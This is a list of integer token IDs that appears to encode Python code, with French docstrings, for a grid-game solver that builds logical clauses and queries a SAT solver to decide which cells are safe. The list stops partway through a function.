29897,
1599,
313,
524,
29892,
938,
29892,
851,
1125,
13,
1678,
9995,
13,
1678,
11301,
316,
425,
2286,
954,
20600,
427,
521,
9874,
316,
1559,
627,
5908,
13,
1678,
584,
3207,
722,
29901,
2286,
954,
20600,
4067,
1318,
818,
1597,
3038,
1297,
13,
1678,
584,
3207,
281,
29901,
2919,
332,
316,
425,
20206,
29914,
629,
1924,
13,
1678,
584,
3207,
298,
29901,
447,
19072,
316,
425,
20206,
29914,
629,
1924,
13,
1678,
584,
2457,
29901,
443,
18761,
313,
3626,
552,
29897,
2535,
966,
13793,
14201,
316,
425,
3038,
1297,
634,
454,
1134,
316,
28439,
2123,
270,
29915,
273,
3039,
13,
1678,
9995,
13,
1678,
325,
353,
722,
13,
1678,
565,
325,
529,
29871,
29900,
29901,
13,
4706,
325,
353,
448,
29894,
13,
1678,
396,
20894,
300,
316,
18948,
1089,
454,
1134,
270,
29915,
21813,
17239,
316,
425,
3038,
1297,
13,
1678,
565,
313,
29896,
5277,
325,
29897,
322,
313,
29894,
5277,
281,
334,
298,
1125,
13,
4706,
9210,
353,
325,
448,
29871,
29896,
13,
4706,
1948,
353,
9210,
849,
281,
13,
4706,
784,
353,
9210,
448,
281,
334,
1948,
13,
4706,
565,
722,
1405,
29871,
29900,
29901,
13,
9651,
736,
1948,
29892,
784,
29892,
376,
1333,
7205,
29908,
13,
4706,
1683,
29901,
13,
9651,
736,
1948,
29892,
784,
29892,
376,
344,
29874,
29908,
13,
13,
1678,
396,
20894,
300,
316,
18948,
1089,
454,
1134,
270,
29915,
273,
3039,
1465,
425,
3038,
1297,
13,
1678,
396,
29310,
663,
316,
260,
335,
690,
2123,
1661,
13,
1678,
565,
313,
29893,
334,
298,
718,
29871,
29896,
5277,
325,
29897,
322,
313,
29894,
5277,
29871,
29906,
334,
281,
334,
298,
1125,
13,
4706,
9210,
353,
325,
448,
313,
29893,
334,
298,
718,
29871,
29896,
29897,
13,
4706,
1948,
353,
9210,
849,
281,
13,
4706,
784,
353,
9210,
448,
281,
334,
1948,
13,
4706,
565,
722,
1405,
29871,
29900,
29901,
13,
9651,
736,
1948,
29892,
784,
29892,
376,
29911,
29908,
13,
4706,
1683,
29901,
13,
9651,
736,
1948,
29892,
784,
29892,
376,
1333,
323,
29908,
13,
1678,
396,
29310,
663,
316,
5054,
1144,
2123,
1661,
13,
1678,
565,
313,
29906,
334,
281,
334,
298,
718,
29871,
29896,
5277,
325,
29897,
322,
313,
29894,
5277,
29871,
29941,
334,
281,
334,
298,
1125,
13,
4706,
9210,
353,
325,
448,
313,
29906,
334,
281,
334,
298,
718,
29871,
29896,
29897,
13,
4706,
1948,
353,
9210,
849,
281,
13,
4706,
784,
353,
9210,
448,
281,
334,
1948,
13,
4706,
565,
722,
1405,
29871,
29900,
29901,
13,
9651,
736,
1948,
29892,
784,
29892,
376,
29903,
29908,
13,
4706,
1683,
29901,
13,
9651,
736,
1948,
29892,
784,
29892,
376,
1333,
317,
29908,
13,
1678,
396,
29310,
663,
316,
8182,
19284,
488,
2123,
1661,
13,
1678,
565,
313,
29941,
334,
281,
334,
298,
718,
29871,
29896,
5277,
325,
29897,
322,
313,
29894,
5277,
29871,
29946,
334,
281,
334,
298,
1125,
13,
4706,
9210,
353,
325,
448,
313,
29941,
334,
281,
334,
298,
718,
29871,
29896,
29897,
13,
4706,
1948,
353,
9210,
849,
281,
13,
4706,
784,
353,
9210,
448,
281,
334,
1948,
13,
4706,
565,
722,
1405,
29871,
29900,
29901,
13,
9651,
736,
1948,
29892,
784,
29892,
376,
29907,
29908,
13,
4706,
1683,
29901,
13,
9651,
736,
1948,
29892,
784,
29892,
376,
1333,
315,
29908,
13,
13,
13,
1753,
2791,
29918,
6272,
29898,
29878,
29901,
938,
29892,
274,
29901,
938,
29892,
281,
29901,
938,
29892,
298,
29901,
938,
29892,
1134,
29918,
6272,
29901,
851,
29897,
1599,
6015,
1509,
29901,
13,
1678,
9995,
13,
1678,
20894,
300,
316,
1766,
7808,
1597,
3038,
1297,
2535,
1487,
1134,
270,
29915,
21813,
17239,
427,
16623,
424,
16794,
818,
425,
18165,
3038,
29918,
1853,
29918,
6272,
29918,
517,
29918,
11918,
13,
1678,
997,
20368,
332,
16219,
434,
707,
16987,
1465,
1597,
13773,
18934,
316,
16089,
1524,
610,
425,
9460,
425,
13852,
316,
7814,
3711,
6394,
427,
3964,
16815,
13,
1678,
584,
3207,
364,
29901,
954,
10651,
316,
7330,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
274,
29901,
954,
10651,
316,
425,
784,
7293,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
281,
29901,
2919,
332,
316,
425,
867,
1924,
13,
1678,
584,
3207,
298,
29901,
447,
19072,
316,
425,
867,
1924,
13,
1678,
584,
3207,
1134,
29918,
6272,
29901,
521,
9874,
316,
1559,
627,
5908,
3928,
424,
782,
1134,
270,
29915,
21813,
17239,
13,
1678,
584,
2457,
29901,
1597,
2286,
954,
20600,
4067,
1318,
818,
425,
3038,
1297,
1750,
707,
16962,
434,
1465,
1597,
13773,
818,
29871,
29896,
20536,
7877,
15471,
29889,
6101,
454,
1134,
320,
13,
1678,
270,
29915,
21813,
17239,
302,
29915,
342,
2331,
316,
425,
18249,
29892,
8556,
13612,
449,
787,
443,
11663,
29908,
1671,
9073,
425,
302,
2445,
362,
13,
1678,
9995,
13,
1678,
1134,
29918,
6272,
29918,
1707,
353,
3038,
29918,
1853,
29918,
6272,
29918,
517,
29918,
11918,
29898,
29878,
29892,
274,
29892,
281,
29892,
298,
29897,
13,
1678,
565,
1134,
29918,
6272,
1275,
376,
1049,
1115,
13,
4706,
736,
518,
1853,
29918,
6272,
29918,
1707,
29962,
13,
1678,
1683,
29901,
13,
4706,
736,
21069,
1853,
29918,
6272,
29918,
1707,
29962,
13,
13,
13,
1753,
2791,
29918,
273,
3039,
29898,
29878,
29901,
938,
29892,
274,
29901,
938,
29892,
281,
29901,
938,
29892,
298,
29901,
938,
29892,
1134,
29918,
3270,
29901,
851,
29897,
1599,
6015,
1509,
29901,
13,
1678,
9995,
13,
4706,
20894,
300,
316,
1766,
7808,
1597,
3038,
1297,
2535,
1487,
1134,
270,
29915,
273,
3039,
427,
16623,
424,
16794,
818,
425,
18165,
3038,
29918,
1853,
29918,
3270,
29918,
517,
29918,
11918,
13,
4706,
997,
20368,
332,
16219,
434,
707,
16987,
1465,
1597,
13773,
18934,
316,
16089,
1524,
610,
425,
9460,
425,
13852,
316,
7814,
3711,
6394,
427,
13,
4706,
3964,
16815,
13,
4706,
584,
3207,
364,
29901,
954,
10651,
316,
7330,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
4706,
584,
3207,
274,
29901,
954,
10651,
316,
425,
784,
7293,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
4706,
584,
3207,
281,
29901,
2919,
332,
316,
425,
867,
1924,
13,
4706,
584,
3207,
298,
29901,
447,
19072,
316,
425,
867,
1924,
13,
4706,
584,
3207,
1134,
29918,
3270,
29901,
521,
9874,
316,
1559,
627,
5908,
3928,
424,
782,
1134,
270,
29915,
273,
3039,
13,
4706,
584,
2457,
29901,
1597,
2286,
954,
20600,
4067,
1318,
818,
425,
3038,
1297,
1750,
707,
16962,
434,
1465,
1597,
13773,
818,
29871,
29896,
20536,
7877,
15471,
29889,
317,
29915,
309,
302,
29915,
29891,
13,
4706,
263,
2331,
270,
29915,
11576,
2993,
29892,
18948,
484,
1597,
13773,
18900,
29889,
13,
4706,
9995,
13,
1678,
1134,
29918,
3270,
29918,
1707,
353,
3038,
29918,
1853,
29918,
3270,
29918,
517,
29918,
11918,
29898,
29878,
29892,
274,
29892,
281,
29892,
298,
29892,
1134,
29918,
3270,
29897,
13,
1678,
565,
1134,
29918,
3270,
29918,
1707,
338,
451,
6213,
29901,
13,
4706,
736,
518,
1853,
29918,
3270,
29918,
1707,
29962,
13,
1678,
1683,
29901,
13,
4706,
736,
5159,
13,
13,
13,
1753,
2791,
29918,
9877,
29918,
11576,
1338,
29918,
484,
1141,
29890,
943,
29898,
484,
1141,
29890,
943,
29901,
2391,
29961,
1293,
29961,
524,
20526,
281,
29901,
938,
29892,
298,
29901,
938,
29892,
302,
29890,
29918,
11576,
1338,
29901,
938,
29892,
13019,
29918,
1853,
29901,
851,
29897,
320,
13,
4706,
1599,
6015,
6394,
5160,
29901,
13,
1678,
9995,
13,
1678,
20894,
300,
270,
29915,
1175,
5561,
553,
640,
5270,
267,
5932,
424,
454,
5419,
270,
29915,
11576,
2993,
26269,
270,
29915,
1540,
3038,
1297,
13,
1678,
584,
3207,
22092,
943,
29901,
7637,
553,
13793,
14201,
553,
3038,
2540,
29758,
1475,
13,
1678,
584,
3207,
281,
29901,
2919,
332,
316,
425,
867,
1924,
13,
1678,
584,
3207,
298,
29901,
447,
19072,
316,
425,
867,
1924,
13,
1678,
584,
3207,
302,
29890,
29918,
11576,
1338,
29901,
5419,
270,
29915,
11576,
2993,
270,
29915,
348,
1134,
27282,
25763,
425,
13773,
316,
3038,
2540,
29758,
1475,
13,
1678,
584,
3207,
13019,
29918,
1853,
29901,
1134,
316,
301,
29915,
273,
3039,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
22092,
943,
29918,
20897,
353,
5159,
13,
1678,
396,
373,
4327,
29872,
966,
13793,
14201,
553,
3038,
2540,
29758,
1475,
427,
2286,
1828,
18949,
1318,
2535,
443,
1134,
270,
29915,
273,
3039,
805,
4582,
22781,
29889,
13,
1678,
396,
373,
2058,
301,
29915,
24031,
553,
3651,
1465,
1597,
13773,
22092,
943,
29918,
20897,
13,
1678,
363,
12307,
297,
22092,
943,
29901,
13,
4706,
22092,
943,
29918,
20897,
29889,
4397,
29898,
3729,
29918,
1853,
29918,
3270,
29918,
517,
29918,
11918,
29898,
484,
1141,
4089,
29961,
29900,
1402,
12307,
29961,
29896,
1402,
281,
29892,
298,
29892,
13019,
29918,
1853,
876,
13,
1678,
396,
373,
623,
9854,
425,
18165,
5412,
29918,
3207,
300,
18104,
18934,
270,
29915,
28619,
1597,
13773,
316,
3711,
6394,
3390,
424,
425,
640,
6038,
371,
302,
29890,
29918,
11576,
1338,
13,
1678,
396,
25763,
22092,
943,
29918,
20897,
13,
1678,
736,
5412,
29918,
3207,
300,
18104,
29898,
484,
1141,
29890,
943,
29918,
20897,
29892,
302,
29890,
29918,
11576,
1338,
29897,
13,
13,
13,
1753,
338,
29918,
3084,
29898,
29916,
29901,
938,
29892,
343,
29901,
938,
29892,
281,
29901,
938,
29892,
298,
29901,
938,
29897,
1599,
6120,
29901,
13,
1678,
9995,
13,
1678,
478,
1064,
28821,
1354,
966,
13793,
14201,
313,
29916,
29892,
29891,
29897,
3435,
553,
13793,
14201,
659,
2247,
13,
1678,
584,
3207,
921,
29901,
954,
10651,
316,
425,
7330,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
343,
29901,
954,
10651,
316,
425,
784,
7293,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
281,
29901,
2919,
332,
316,
425,
867,
1924,
13,
1678,
584,
3207,
298,
29901,
447,
19072,
316,
425,
867,
1924,
13,
1678,
584,
2457,
29901,
443,
1045,
1772,
264,
584,
325,
17016,
1354,
274,
29915,
342,
659,
680,
13,
1678,
9995,
13,
1678,
736,
313,
29916,
6736,
29871,
29900,
29897,
322,
313,
29916,
529,
298,
29897,
322,
313,
29891,
6736,
29871,
29900,
29897,
322,
313,
29891,
529,
281,
29897,
13,
13,
13,
1753,
679,
29918,
484,
1141,
29890,
943,
29898,
29916,
29901,
938,
29892,
343,
29901,
938,
29892,
281,
29901,
938,
29892,
298,
29901,
938,
29897,
1599,
2391,
29961,
1293,
29961,
524,
5262,
29901,
13,
1678,
9995,
13,
4706,
29906,
29871,
29896,
29871,
29947,
13,
4706,
29941,
1060,
29871,
29955,
13,
4706,
29946,
29871,
29945,
29871,
29953,
13,
1678,
20894,
300,
316,
610,
16589,
12416,
966,
29758,
1144,
316,
425,
3038,
1297,
7019,
1464,
24697,
1465,
301,
29915,
19809,
4583,
29899,
19521,
375,
29889,
13,
1678,
319,
29926,
2663,
1465,
1597,
13773,
966,
29758,
1144,
316,
425,
3038,
1297,
269,
29915,
2719,
1863,
296,
313,
16122,
325,
1064,
6832,
1318,
2535,
425,
18165,
338,
29918,
791,
680,
29897,
13,
13,
1678,
584,
3207,
921,
29901,
954,
10651,
316,
425,
7330,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
343,
29901,
954,
10651,
316,
425,
784,
7293,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
281,
29901,
2919,
332,
316,
425,
867,
1924,
13,
1678,
584,
3207,
298,
29901,
447,
19072,
316,
425,
867,
1924,
13,
1678,
584,
2457,
29901,
1597,
13773,
1750,
640,
993,
5898,
13618,
316,
13773,
818,
4239,
7877,
29948,
1860,
966,
13793,
14201,
553,
29758,
1144,
316,
425,
3038,
1297,
13,
1678,
7019,
1464,
24697,
13,
1678,
9995,
13,
13,
1678,
396,
3189,
536,
14201,
14576,
553,
29758,
1144,
13,
1678,
15414,
353,
21069,
29896,
29892,
448,
29896,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
448,
29896,
29962,
13,
1678,
13475,
353,
518,
29900,
29892,
448,
29896,
29892,
448,
29896,
29892,
448,
29896,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
29962,
13,
1678,
22092,
943,
353,
5159,
13,
1678,
363,
413,
297,
3464,
29898,
2435,
29898,
8235,
22164,
13,
4706,
396,
1798,
3709,
1354,
425,
3038,
1297,
302,
29915,
342,
2331,
427,
316,
29882,
943,
316,
425,
20206,
13,
4706,
565,
338,
29918,
3084,
29898,
29916,
718,
15414,
29961,
29895,
1402,
343,
718,
13475,
29961,
29895,
1402,
281,
29892,
298,
1125,
13,
9651,
396,
319,
29926,
5561,
1465,
425,
13773,
553,
6896,
19718,
13,
9651,
22092,
943,
4619,
5519,
29916,
718,
15414,
29961,
29895,
1402,
343,
718,
13475,
29961,
29895,
5262,
29962,
13,
13,
1678,
736,
22092,
943,
13,
13,
13,
1753,
679,
29918,
276,
6591,
29918,
3729,
29879,
29898,
29893,
29901,
938,
29892,
298,
29901,
938,
29892,
6856,
29901,
11657,
29897,
1599,
2391,
29961,
1293,
29961,
524,
5262,
29901,
13,
1678,
9995,
13,
1678,
20894,
300,
316,
6260,
7608,
454,
5419,
316,
3038,
2540,
337,
841,
1041,
29892,
818,
16455,
643,
13,
1678,
584,
3207,
281,
29901,
2919,
332,
316,
425,
867,
1924,
13,
1678,
584,
3207,
298,
29901,
447,
19072,
316,
425,
867,
1924,
13,
1678,
584,
3207,
6856,
29901,
425,
867,
1924,
847,
425,
20206,
13,
1678,
584,
2457,
29901,
425,
13773,
553,
29311,
14201,
553,
3038,
2540,
29758,
1475,
553,
3038,
2540,
4224,
23048,
267,
13,
1678,
9995,
13,
1678,
620,
353,
5159,
13,
1678,
363,
364,
297,
3464,
29898,
29882,
1125,
13,
4706,
363,
274,
297,
3464,
29898,
29893,
1125,
13,
9651,
396,
1354,
425,
3038,
1297,
263,
634,
29872,
2123,
25996,
13,
9651,
565,
6856,
29961,
29878,
3816,
29883,
29962,
3366,
771,
29916,
29918,
2798,
3108,
2804,
21069,
29896,
29892,
448,
29896,
29892,
448,
29896,
5387,
13,
18884,
22092,
943,
353,
679,
29918,
484,
1141,
29890,
943,
29898,
29878,
29892,
274,
29892,
281,
29892,
298,
29897,
13,
18884,
363,
302,
297,
22092,
943,
29901,
13,
462,
1678,
565,
313,
7720,
29961,
29876,
29961,
29900,
29962,
3816,
29876,
29961,
29896,
5262,
3366,
3270,
3108,
1275,
376,
29973,
1159,
322,
313,
7720,
29961,
29876,
29961,
29900,
29962,
3816,
29876,
29961,
29896,
5262,
3366,
771,
29916,
29918,
2798,
3108,
1275,
21069,
29896,
29892,
448,
29896,
29892,
448,
29896,
2314,
322,
313,
13,
462,
9651,
302,
451,
297,
620,
1125,
13,
462,
4706,
620,
4619,
518,
29876,
29962,
13,
1678,
736,
620,
13,
13,
13,
1753,
338,
29918,
23712,
29898,
273,
3039,
29901,
851,
29892,
8829,
29901,
851,
29897,
1599,
6120,
29901,
13,
1678,
9995,
13,
1678,
478,
1064,
28821,
425,
10007,
13017,
2131,
2637,
454,
1134,
270,
29915,
273,
3039,
634,
454,
1134,
270,
29915,
21813,
17239,
13,
13,
1678,
584,
3207,
13019,
29901,
13,
1678,
584,
3207,
8829,
29901,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
565,
13019,
1275,
376,
29911,
1115,
13,
4706,
736,
8829,
1275,
376,
1049,
29908,
13,
1678,
565,
13019,
1275,
376,
29903,
1115,
13,
4706,
736,
8829,
1275,
376,
344,
29874,
29908,
13,
1678,
736,
5852,
13,
13,
13,
1753,
338,
29918,
11177,
29898,
29878,
29901,
938,
29892,
274,
29901,
938,
29892,
281,
29901,
938,
29892,
298,
29901,
938,
29892,
3711,
6394,
29901,
6015,
6394,
5160,
29897,
1599,
6120,
29901,
13,
1678,
9995,
13,
1678,
478,
1064,
28821,
610,
301,
29915,
6897,
332,
311,
1354,
1597,
3038,
1297,
707,
9109,
13,
13,
1678,
584,
3207,
364,
29901,
954,
10651,
316,
425,
7330,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
274,
29901,
954,
10651,
316,
425,
784,
7293,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
281,
29901,
2919,
332,
316,
425,
867,
1924,
13,
1678,
584,
3207,
298,
29901,
447,
19072,
316,
425,
867,
1924,
13,
1678,
584,
3207,
3711,
6394,
29901,
13773,
316,
3711,
6394,
13,
1678,
584,
2457,
29901,
5852,
313,
11177,
29897,
1354,
454,
878,
15340,
302,
29915,
342,
2331,
5119,
29875,
519,
313,
336,
2285,
17239,
610,
301,
29915,
6897,
332,
311,
29897,
634,
7700,
4457,
265,
13,
1678,
9995,
13,
1678,
396,
1551,
7755,
712,
425,
3038,
1297,
302,
29915,
342,
2331,
9109,
1149,
373,
13612,
2663,
425,
11845,
27046,
584,
323,
2123,
317,
2123,
315,
13,
1678,
396,
390,
1759,
3409,
882,
610,
301,
29915,
6897,
332,
311,
13,
1678,
3711,
6394,
4619,
5519,
3729,
29918,
1853,
29918,
3270,
29918,
517,
29918,
11918,
29898,
29878,
29892,
274,
29892,
281,
29892,
298,
29892,
376,
29911,
4968,
13,
462,
3038,
29918,
1853,
29918,
3270,
29918,
517,
29918,
11918,
29898,
29878,
29892,
274,
29892,
281,
29892,
298,
29892,
376,
29903,
4968,
13,
462,
3038,
29918,
1853,
29918,
3270,
29918,
517,
29918,
11918,
29898,
29878,
29892,
274,
29892,
281,
29892,
298,
29892,
376,
29907,
1159,
5262,
13,
13,
1678,
3964,
16815,
353,
3711,
6394,
29918,
517,
29918,
6229,
16815,
29898,
16398,
6394,
29892,
29871,
29946,
334,
281,
334,
298,
29897,
13,
1678,
2436,
29918,
6229,
16815,
29918,
1445,
29898,
6229,
16815,
29892,
376,
24077,
510,
457,
29889,
18038,
29888,
1159,
13,
1678,
3290,
29892,
1904,
353,
2279,
29918,
29887,
3021,
414,
271,
29898,
9507,
543,
24077,
510,
457,
29889,
18038,
29888,
1159,
13,
1678,
396,
1596,
703,
5596,
9109,
613,
364,
29892,
274,
29892,
3290,
29897,
13,
1678,
3711,
6394,
29889,
7323,
580,
29871,
396,
373,
1462,
29878,
603,
425,
24407,
11845,
13612,
449,
1318,
313,
16398,
1509,
1671,
325,
1064,
2450,
20498,
882,
29897,
13,
1678,
736,
451,
3290,
13,
13,
13,
1753,
1854,
29918,
5349,
29918,
273,
3039,
29898,
29878,
29901,
938,
29892,
274,
29901,
938,
29892,
281,
29901,
938,
29892,
298,
29901,
938,
29892,
13019,
29901,
851,
29892,
3711,
6394,
29901,
6015,
6394,
5160,
29897,
1599,
6120,
29901,
13,
1678,
9995,
13,
1678,
478,
1064,
28821,
610,
301,
29915,
6897,
332,
311,
1190,
1597,
3038,
1297,
263,
443,
13019,
13,
13,
1678,
584,
3207,
364,
29901,
954,
10651,
316,
425,
7330,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
274,
29901,
954,
10651,
316,
425,
784,
7293,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
281,
29901,
2919,
332,
316,
425,
867,
1924,
13,
1678,
584,
3207,
298,
29901,
447,
19072,
316,
425,
867,
1924,
13,
1678,
584,
3207,
13019,
29901,
1559,
627,
1908,
9982,
647,
424,
443,
13019,
584,
323,
2123,
317,
2123,
315,
13,
1678,
584,
3207,
3711,
6394,
29901,
13773,
316,
3711,
6394,
13,
1678,
584,
2457,
29901,
5852,
313,
5349,
13019,
29897,
1354,
454,
878,
15340,
302,
29915,
342,
2331,
5119,
29875,
519,
313,
336,
2285,
17239,
610,
301,
29915,
6897,
332,
311,
29897,
634,
7700,
4457,
265,
13,
1678,
9995,
13,
1678,
396,
1551,
7755,
439,
29915,
309,
302,
29915,
29891,
263,
2331,
270,
29915,
273,
3039,
13,
1678,
396,
6015,
1509,
316,
1243,
584,
2331,
270,
29915,
273,
3039,
13,
1678,
3711,
6394,
4619,
5519,
29899,
3729,
29918,
1853,
29918,
3270,
29918,
517,
29918,
11918,
29898,
29878,
29892,
274,
29892,
281,
29892,
298,
29892,
13019,
4638,
29962,
13,
1678,
3964,
16815,
353,
3711,
6394,
29918,
517,
29918,
6229,
16815,
29898,
16398,
6394,
29892,
29871,
29946,
334,
281,
334,
298,
29897,
13,
1678,
2436,
29918,
6229,
16815,
29918,
1445,
29898,
6229,
16815,
29892,
376,
24077,
510,
457,
29889,
18038,
29888,
1159,
13,
1678,
3290,
29892,
1904,
353,
2279,
29918,
29887,
3021,
414,
271,
29898,
9507,
543,
24077,
510,
457,
29889,
18038,
29888,
1159,
13,
1678,
396,
1596,
703,
5596,
9109,
613,
364,
29892,
274,
29892,
3290,
29897,
13,
1678,
3711,
6394,
29889,
7323,
580,
29871,
396,
373,
1462,
29878,
603,
425,
24407,
11845,
13612,
449,
1318,
313,
16398,
1509,
1671,
325,
1064,
2450,
20498,
882,
29897,
13,
1678,
736,
451,
3290,
13,
13,
13,
1753,
338,
29918,
29879,
27685,
1000,
29898,
29878,
29901,
938,
29892,
274,
29901,
938,
29892,
281,
29901,
938,
29892,
298,
29901,
938,
29892,
6856,
29901,
11657,
29897,
1599,
6120,
29901,
13,
1678,
9995,
13,
1678,
1551,
325,
1064,
28821,
1354,
454,
5419,
270,
29915,
273,
3039,
1671,
18402,
1134,
26269,
316,
425,
3038,
1297,
29898,
29878,
29892,
29883,
29897,
263,
6079,
4370,
24889,
29948,
13,
1678,
584,
3207,
364,
29901,
954,
10651,
316,
425,
7330,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
274,
29901,
954,
10651,
316,
425,
784,
7293,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
281,
29901,
2919,
332,
316,
425,
867,
1924,
13,
1678,
584,
3207,
298,
29901,
447,
19072,
316,
425,
867,
1924,
13,
1678,
584,
3207,
6856,
29901,
425,
20206,
313,
2371,
585,
29871,
29906,
29928,
316,
21503,
15421,
29897,
13,
1678,
584,
2457,
29901,
5852,
1354,
454,
5419,
316,
18402,
1134,
270,
29915,
273,
3039,
316,
425,
3038,
1297,
313,
29878,
29892,
29883,
29897,
3928,
782,
410,
29916,
29918,
2798,
316,
425,
3038,
1297,
634,
1354,
13,
1678,
454,
5419,
316,
3038,
2540,
2123,
1765,
267,
707,
9406,
882,
13159,
14508,
818,
29871,
29900,
13,
1678,
9995,
13,
1678,
22092,
943,
353,
679,
29918,
484,
1141,
29890,
943,
29898,
29878,
29892,
274,
29892,
281,
29892,
298,
29897,
13,
1678,
6795,
353,
8853,
29911,
1115,
29871,
29900,
29892,
376,
29903,
1115,
29871,
29900,
29892,
376,
29907,
1115,
29871,
29900,
29913,
13,
1678,
1722,
9571,
29918,
3729,
353,
29871,
29900,
13,
1678,
363,
302,
297,
22092,
943,
29901,
13,
4706,
565,
6856,
29961,
29876,
29961,
29900,
29962,
3816,
29876,
29961,
29896,
5262,
3366,
3270,
3108,
2804,
376,
29973,
1115,
13,
9651,
6795,
29961,
7720,
29961,
29876,
29961,
29900,
29962,
3816,
29876,
29961,
29896,
5262,
3366,
3270,
3108,
29962,
4619,
29871,
29896,
13,
4706,
565,
313,
7720,
29961,
29876,
29961,
29900,
29962,
3816,
29876,
29961,
29896,
5262,
3366,
771,
29916,
29918,
2798,
3108,
1275,
21069,
29896,
29892,
448,
29896,
29892,
448,
29896,
2314,
322,
313,
7720,
29961,
29876,
29961,
29900,
29962,
3816,
29876,
29961,
29896,
5262,
3366,
3270,
3108,
1275,
376,
3026,
1125,
13,
9651,
1722,
9571,
29918,
3729,
4619,
29871,
29896,
13,
13,
1678,
736,
313,
459,
2108,
287,
29918,
3729,
1405,
29871,
29900,
29897,
322,
320,
13,
965,
313,
7720,
29961,
29878,
3816,
29883,
29962,
3366,
771,
29916,
29918,
2798,
3108,
29961,
29900,
29962,
1275,
6795,
3366,
29911,
20068,
322,
320,
13,
965,
313,
7720,
29961,
29878,
3816,
29883,
29962,
3366,
771,
29916,
29918,
2798,
3108,
29961,
29896,
29962,
1275,
6795,
3366,
29903,
20068,
322,
320,
13,
965,
313,
7720,
29961,
29878,
3816,
29883,
29962,
3366,
771,
29916,
29918,
2798,
3108,
29961,
29906,
29962,
1275,
6795,
3366,
29907,
20068,
13,
13,
13,
1753,
2767,
29918,
3888,
29898,
29893,
29901,
938,
29892,
298,
29901,
938,
29892,
6856,
29901,
11657,
29892,
3711,
6394,
29901,
6015,
6394,
5160,
29892,
3041,
359,
29901,
2391,
29961,
8977,
29962,
1125,
13,
1678,
9995,
13,
1678,
20894,
300,
316,
1539,
2484,
818,
8694,
24145,
2967,
316,
3711,
6394,
427,
18165,
553,
28374,
376,
29881,
4582,
23048,
267,
29908,
13,
1678,
584,
3207,
281,
29901,
2919,
332,
316,
425,
867,
1924,
13,
1678,
584,
3207,
298,
29901,
447,
19072,
316,
425,
867,
1924,
13,
1678,
584,
3207,
6856,
29901,
425,
20206,
13,
1678,
584,
3207,
3711,
6394,
29901,
13773,
316,
3711,
6394,
13,
1678,
584,
3207,
3041,
359,
29901,
13773,
270,
29915,
3888,
13,
1678,
584,
2457,
29901,
1597,
15217,
2967,
316,
3711,
6394,
13,
1678,
9995,
13,
1678,
363,
5235,
297,
3041,
359,
29901,
13,
4706,
921,
353,
5235,
3366,
1066,
3108,
29961,
29900,
29962,
13,
4706,
343,
353,
5235,
3366,
1066,
3108,
29961,
29896,
29962,
13,
13,
4706,
565,
376,
2671,
29908,
297,
5235,
29901,
13,
9651,
6856,
29961,
29916,
3816,
29891,
29962,
3366,
6272,
3108,
353,
5235,
3366,
2671,
3108,
13,
9651,
3711,
6394,
4619,
518,
3502,
29918,
6272,
29898,
29916,
29892,
343,
29892,
281,
29892,
298,
29892,
5235,
3366,
2671,
20068,
29962,
13,
4706,
565,
376,
771,
29916,
29918,
2798,
29908,
297,
5235,
29901,
13,
9651,
22092,
943,
353,
679,
29918,
484,
1141,
29890,
943,
29898,
29916,
29892,
343,
29892,
281,
29892,
298,
29897,
13,
9651,
6856,
29961,
29916,
3816,
29891,
29962,
3366,
771,
29916,
29918,
2798,
3108,
353,
5235,
3366,
771,
29916,
29918,
2798,
3108,
13,
9651,
363,
13019,
29918,
333,
297,
3464,
29898,
2435,
29898,
24360,
29918,
2190,
2260,
8547,
29897,
448,
29871,
29896,
1125,
13,
18884,
3711,
6394,
4619,
2791,
29918,
9877,
29918,
11576,
1338,
29918,
484,
1141,
29890,
943,
29898,
484,
1141,
29890,
943,
29892,
281,
29892,
298,
29892,
6856,
29961,
29916,
3816,
29891,
29962,
3366,
771,
29916,
29918,
2798,
3108,
29961,
273,
3039,
29918,
333,
1402,
13,
462,
462,
462,
268,
365,
9047,
29918,
2190,
2260,
8547,
29961,
273,
3039,
29918,
333,
2314,
13,
4706,
565,
376,
273,
3039,
29908,
297,
5235,
29901,
13,
9651,
6856,
29961,
29916,
3816,
29891,
29962,
3366,
3270,
3108,
353,
5235,
3366,
273,
3039,
3108,
13,
9651,
3711,
6394,
4619,
518,
3502,
29918,
273,
3039,
29898,
29916,
29892,
343,
29892,
281,
29892,
298,
29892,
6856,
29961,
29916,
3816,
29891,
29962,
3366,
3270,
20068,
29962,
13,
13,
13,
1753,
6755,
29918,
13318,
29918,
2467,
29918,
333,
29898,
1761,
29918,
8977,
29901,
2391,
29961,
8977,
1402,
4531,
29901,
851,
29892,
995,
29901,
851,
29897,
1599,
938,
29901,
13,
1678,
9995,
13,
1678,
10793,
18165,
707,
704,
2170,
371,
29889,
6340,
707,
28643,
1671,
534,
8885,
301,
29915,
2467,
4067,
1318,
818,
1597,
3038,
1297,
1750,
263,
454,
2298,
316,
13,
1678,
23950,
2131,
316,
452,
2331,
13417,
533,
818,
425,
1437,
5444,
568,
13,
1678,
584,
3207,
1051,
29918,
8977,
29901,
13773,
553,
8820,
13,
1678,
584,
3207,
4531,
29901,
13,
1678,
584,
3207,
995,
29901,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
1900,
353,
29871,
29900,
13,
1678,
363,
474,
297,
3464,
29898,
2435,
29898,
1761,
29918,
8977,
22164,
13,
4706,
